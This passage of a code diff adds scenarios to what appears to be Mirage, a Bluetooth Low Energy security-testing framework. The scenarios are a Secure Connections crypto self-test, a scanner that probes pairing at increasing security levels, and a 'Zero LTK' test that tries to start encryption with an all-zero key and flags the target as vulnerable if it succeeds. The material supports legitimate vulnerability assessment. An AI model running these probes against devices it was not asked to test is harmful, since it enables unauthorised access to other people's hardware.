onMasterSigningInformation(self, packet): + return self.masterPacket(packet) + + def onSlavePublicKey(self, packet): + return self.slavePacket(packet) + + def onMasterPublicKey(self, packet): + return self.masterPacket(packet) + + def onSlaveConnectionParameterUpdateRequest(self, packet): + return self.slavePacket(packet) + + def onMasterConnectionParameterUpdateResponse(self, packet): + return self.masterPacket(packet) + + def onMasterDHKeyCheck(self, packet): + return self.masterPacket(packet) + + def onSlaveDHKEyCheck(self, packet): + return self.slavePacket(packet) diff --git a/mirage/scenarios/ble_sc_crypto_test.py b/mirage/scenarios/ble_sc_crypto_test.py new file mode 100644 index 0000000..3a05997 --- /dev/null +++ b/mirage/scenarios/ble_sc_crypto_test.py @@ -0,0 +1,77 @@ +from mirage.core import scenario +from mirage.libs import io +from mirage.libs.ble_utils.sc_crypto import BLECryptoSC +from binascii import unhexlify + +# Scenario can be used to verify implementation of the secure connections cryptographic +# Example data is the one provided in the Bluetooth specification +class ble_sc_crypto_test(scenario.Scenario): + def onStart(self): + self.checkCrypto() + return True + + def onEnd(self): + return True + + def onKey(self, key): + if key == "esc": + self.module.setStage(2) # STOP + return True + + def checkCrypto(self): + sc_crypto = BLECryptoSC() + # check f4 function + U = unhexlify( + b"20b003d2f297be2c5e2c83a7e9f9a5b9eff49111acf4fddbcc0301480e359de6" + ) + V = unhexlify( + b"55188b3d32f6bb9a900afcfbeed4e72a59cb9ac2f19d7cfb6b4fdd49f47fc5fd" + ) + X = unhexlify(b"d5cb8454d177733effffb2ec712baeab") + Z = unhexlify(b"00") + confirmVal = sc_crypto.f4(U, V, X, Z) + expValue = unhexlify(b"f2c916f107a9bd1cf1eda1bea974872d") + io.info( + "Confirm value {} correct".format( + "is" if confirmVal == expValue else "is NOT" + ) + ) + + # check f5 function + DHKey = unhexlify( + b"ec0234a357c8ad05341010a60a397d9b99796b13b4f866f1868d34f373bfa698" + ) + N1 = unhexlify(b"d5cb8454d177733effffb2ec712baeab") + N2 = unhexlify(b"a6e8e7cc25a75f6e216583f7ff3dc4cf") + A1 = unhexlify(b"0056123737bfce") + A2 = unhexlify(b"00a713702dcfc1") + + (MacKey, LTK) = sc_crypto.f5(DHKey, N1, N2, A1, A2) + expLTK = unhexlify(b"6986791169d7cd23980522b594750a38") + expMacKey = unhexlify(b"2965f176a1084a02fd3f6a20ce636e20") + + io.info("LTK {} correct".format("is" if LTK == expLTK else "is NOT")) + io.info("MacKey {} correct".format("is" if MacKey == expMacKey else "is NOT")) + + # check f6 function + R = unhexlify(b"12a3343bb453bb5408da42d20c2d0fc8") + IOcap = unhexlify(b"010102") + + DHKeyCheck = sc_crypto.f6(MacKey, N1, N2, R, IOcap, A1, A2) + expDHKeyCheck = unhexlify(b"e3c473989cd0e8c5d26c0b09da958f61") + io.info( + "DH Key Check {} correct".format( + "is" if DHKeyCheck == expDHKeyCheck else "is NOT" + ) + ) + + # check g2 function + Y = unhexlify(b"a6e8e7cc25a75f6e216583f7ff3dc4cf") + numComp = sc_crypto.g2(U, V, X, Y) + expNumComp = unhexlify(b"2f9ed5ba") + io.info( + "Numeric Comparison value {} correct".format( + "is" if numComp == expNumComp else "is NOT" + ) + ) + self.module.setStage(2) diff --git a/mirage/scenarios/ble_scan_sec_req.py b/mirage/scenarios/ble_scan_sec_req.py new file mode 100644 index 0000000..137aca1 --- /dev/null +++ b/mirage/scenarios/ble_scan_sec_req.py @@ -0,0 +1,224 @@ +from mirage.libs.ble_utils.constants import SM_ERR_AUTH_REQUIREMENTS +from mirage.core import scenario +from mirage.libs import io, ble, utils +from mirage.libs.ble_utils.dissectors import * +from mirage.libs.ble_utils.sc_crypto import CryptoUtils + +# Class which can be used to receive the parameters for a pairing request +# from low to high sec level and mode +class ble_inc_sec_level: + def __init__(self): + self.step = 0 + self.max_step = 3 + self.inner_step = 0 + self.max_inner_step = 7 + self.keyboard_arr = [0, 0, 0, 1, 1, 0, 1, 1] + self.yesno_arr = [0, 1, 0, 0, 1, 1, 0, 1] + self.display_arr = [0, 0, 1, 0, 0, 1, 1, 1] + + self.keyboard = None + self.display = None + self.yesno = None + + self.mitm = False + self.ct2 = False + self.bonding = False + self.keyPress = False + self.secureConnections = False + + def increase(self): + if self.step > self.max_step and self.inner_step > self.max_inner_step: + return False + + self.keyboard = self.keyboard_arr[self.inner_step] + self.display = self.display_arr[self.inner_step] + self.yesno = self.yesno_arr[self.inner_step] + + self.mitm = True if self.step % 2 == 0 else False + self.secureConnections = True if self.step > 1 else False + + self.linkKey = True + self.encKey = True + self.idKey = True + self.signKey = True + + self.inner_step += 1 + if self.inner_step > self.max_inner_step: + self.step += 1 + if self.step <= self.max_step: + self.inner_step = 0 + return True + + +# Module scans version and features of the device +# Additionally it tries to connect with increasing security properties to detect the lowest possible security level and mode + + +class ble_scan_sec_req(scenario.Scenario): + def connect(self): + if not self.module.a2sEmitter.isConnected(): + # Apply new address at each start + self.module.a2sEmitter.setAddress( + CryptoUtils.getRandomAddress(), random=True + ) + # Connect on slave + io.info("Connect on slave") + address = utils.addressArg(self.module.args["TARGET"]) + connectionType = self.module.args["CONNECTION_TYPE"] + self.module.a2sEmitter.sendp( + ble.BLEConnect( + dstAddr=address, type=connectionType, initiatorType="random" + ) + ) + while not self.module.a2sEmitter.isConnected(): + utils.wait(seconds=0.5) + + def pairingLoop(self): + if not self.sec_level: + self.sec_level = ble_inc_sec_level() + + success = False + while self.sec_level.increase() and not self.finished: + # Connect if necessary + self.connect() + output = self.pairing("yes", self.sec_level) + if output["success"]: + self.finishedScenario(output) + return + + io.fail("Not possible to pair :(") + self.finishedScenario(None) + + def onStart(self): + self.module.printScenarioStart("Scan connection properties") + self.pairingRequestMaster = None + self.pairingResponseSlave = None + + self.featureMaster = None + self.featuresSlave = None + + self.masterVersion = None + self.slaveVersion = None + + self.sec_level = None + # Success status of the scenario + self.finished = False + self.success = self.module.ScenarioResult.NOT + + self.pairingLoop() + return True + + def onEnd(self, result): + result["success"] = self.success + result["finished"] = self.finished + self.module.printScenarioEnd(result) + return True + + def onKey(self, key): + if key == "esc": + self.module.setStage(5) # STOP + return True + + # Save controller features + def onSlaveLLSlaveFeatureReq(self, packet): + self.featuresSlave = packet + return True + + def onSlaveLLFeatureReq(self, packet): + self.featuresSlave = packet + return True + + def onSlaveLLFeatureRsp(self, packet): + self.featuresSlave = packet + return True + + # Save version + def onSlaveLLVersionInd(self, packet): + self.slaveVersion = packet + return True + + def finishedScenario(self, output): + + if output: + io.info("{}".format(self.sec_level)) + self.finished = True + + if self.featuresSlave: + io.success( + "Slave Controller Feature: {}".format( + self.featuresSlave.features.hex() + ) + ) + + if self.slaveVersion: + io.success( + "Slave controller version: {}".format( + self.slaveVersion.version_number + ) + ) + io.success( + "Slave controller sub version: {}".format( + self.slaveVersion.sub_version_number.hex() + ) + ) + io.success( + "Slave controller company ID: {}".format( + self.slaveVersion.company_id.hex() + ) + ) + + pairing_method = output["output"]["PAIRING_METHOD"] + # Check Legacy Pairing + if not self.sec_level.secureConnections: + io.fail("Legacy Pairing - {}".format(pairing_method)) + self.success = self.module.ScenarioResult.VULN + else: + io.info("SC Pairing - {}".format(pairing_method)) + if pairing_method == "Just Works": + self.success = self.module.ScenarioResult.VULN + else: + self.success = self.module.ScenarioResult.NOT + self.module.setStage(self.module.BLEStage.STOP) + self.module.a2sEmitter.sendp(ble.BLEDisconnect()) + + def onSlavePairingFailed(self, packet): + if packet.reason == ble.SM_ERR_PAIRING_NOT_SUPPORTED: + self.success = self.module.ScenarioResult.MAYBE + io.warning("Slave does not support pairing") + self.finished = True + self.module.setStage(self.module.BLEStage.STOP) + self.module.a2sEmitter.sendp(ble.BLEDisconnect()) + return False + + def pairing(self, active, sec_level): + pairModule = utils.loadModule("ble_pair") + pairModule["MODE"] = "master" + pairModule["INTERFACE"] = self.args["INTERFACE1"] + pairModule["ACTIVE"] = active # "yes" or "no" + pairModule["KEYBOARD"] = "yes" if sec_level.keyboard == 1 else "no" + pairModule["YESNO"] = "yes" if sec_level.yesno == 1 else "no" + pairModule["DISPLAY"] = "yes" if sec_level.display == 1 else "no" + pairModule["CT2"] = "yes" if sec_level.ct2 == 1 else "no" + pairModule["MITM"] = "yes" if sec_level.mitm == 1 else "no" + pairModule["BONDING"] = "yes" if sec_level.bonding == 1 else "no" + pairModule["SECURE_CONNECTIONS"] = "no" # This is legay pairing module + pairModule["KEYPRESS"] = "yes" if sec_level.keyPress == 1 else "no" + pairModule["IRK"] = "222233445566778899aabbccddeeff" + pairModule["CSRK"] = "332233445566778899aabbccddeeff" + + io.info("Try to pair....") + io.chart( + ["Name", "Value"], + [[k, v] for k, v in pairModule.args.items()], + "Input parameters", + ) + output = pairModule.execute() + if output["success"]: + if active == "active": + io.success("Active pairing enabled !") + else: + io.success("Passive pairing enabled !") + else: + io.fail("An error occured during pairing !") + io.info(("{}").format(output)) + return output diff --git a/mirage/scenarios/ble_zero_ltk.py b/mirage/scenarios/ble_zero_ltk.py new file mode 100644 index 0000000..2fc76b9 --- /dev/null +++ b/mirage/scenarios/ble_zero_ltk.py @@ -0,0 +1,128 @@ +from mirage.core import scenario +from mirage.libs import io, ble +from mirage.libs.ble_utils.dissectors import * +from mirage.libs.ble_utils.sc_crypto import CryptoUtils + + +class ble_zero_ltk(scenario.Scenario): + def onStart(self): + self.module.printScenarioStart("Zero LTK") + + # Success status of the scenario + self.finished = False + self.success = self.module.ScenarioResult.NOT + + # Apply new address at each start + self.module.a2sEmitter.setAddress(CryptoUtils.getRandomAddress(), random=True) + + # Connect on slave + io.info("Connect on slave") + self.module.setStage(self.module.BLEStage.WAIT_CONN) + self.module.connectOnSlave() + self.module.waitUntilStage(self.module.BLEStage.IDLE) + pairingRequest = self.getPairingRequest() + self.module.setStage(self.module.BLEStage.CUSTOM1) + self.module.a2sEmitter.sendp(pairingRequest) + io.info("Send Pairing Request: {}".format(pairingRequest)) + return True + + def getPairingRequest(self): + keyboard = False + yesno = False + display = False + + ct2 = False + mitm = True + bonding = True + secureConnections = True + keyPress = False + + initiatorInputOutputCapability = ble.InputOutputCapability( + keyboard=keyboard, display=display, yesno=yesno + ) + initiatorAuthReq = ble.AuthReqFlag( + ct2=ct2, + mitm=mitm, + bonding=bonding, + secureConnections=secureConnections, + keypress=keyPress, + ) + initiatorKeyDistribution = ble.KeyDistributionFlag( + linkKey=True, encKey=True, idKey=False, signKey=True + ) + + return ble.BLEPairingRequest( + authentication=initiatorAuthReq.data[0], + inputOutputCapability=initiatorInputOutputCapability.data[0], + initiatorKeyDistribution=initiatorKeyDistribution.data[0], + responderKeyDistribution=initiatorKeyDistribution.data[0], + ) + + def onEnd(self, result): + result["success"] = self.success + result["finished"] = self.finished + self.module.printScenarioEnd(result) + return True + + def onKey(self, key): + if key == "esc": + self.module.setStage(self.module.BLEStage.STOP) + return True + + def onSlaveConnectionComplete(self, packet): + self.module.setStage(self.module.BLEStage.IDLE) + return True + + def onSlaveDisconnect(self, packet): + self.module.setStage(self.module.BLEStage.STOP) + return False + + def onSlavePairingResponse(self, packet): + auth = ble.AuthReqFlag(data=bytes([packet.authentication])) + io.info("Received Pairing Response: {}".format(packet)) + ediv = 0 + rand = b"\x00" * 8 + ltk = b"\x00" * 16 + if not auth.secureConnections: + ediv = 123 + rand = CryptoUtils.generateRandom(8) + io.info("Start encryption with zero LTK") + request = ble.BLEStartEncryption(rand=rand, ediv=ediv, ltk=ltk) + request.show() + self.module.a2sEmitter.sendp(request) + + def onSlaveLLRejectInd(self, packet): + if not self.finished: + io.success("Slave rejected encryption request, not vulnerable") + self.success = self.module.ScenarioResult.NOT + self.finished = True + self.module.setStage(self.module.BLEStage.STOP) + + def onSlaveLLStartEncRsp(self, packet): + if not self.finished: + io.fail("Successfully established encrypted link, device is vulnerable") + self.success = self.module.ScenarioResult.VULN + self.finished = True + self.module.setStage(self.module.BLEStage.STOP) + + def onSlaveEncryptionChange(self, packet): + if not self.finished: + if packet.status == 0x00 and packet.enabled == 0x01: + io.fail("Successfully established encrypted link, device is vulnerable") + self.success = self.module.ScenarioResult.VULN + self.finished = True + self.module.setStage(self.module.BLEStage.STOP) + else: + io.success("Slave rejected encryption request, not vulnerable") + self.success = self.module.ScenarioResult.NOT + self.finished = True + self.module.setStage(self.module.BLEStage.STOP) + + def onSlavePairingFailed(self, packet): + if packet.reason == ble.SM_ERR_PAIRING_NOT_SUPPORTED: + self.success = self.module.ScenarioResult.VULN + io.fail("Slave does not support pairing") + self.finished = True + self.module.setStage(self.module.BLEStage.STOP) + self.module.a2sEmitter.sendp(ble.BLEDisconnect()) + return False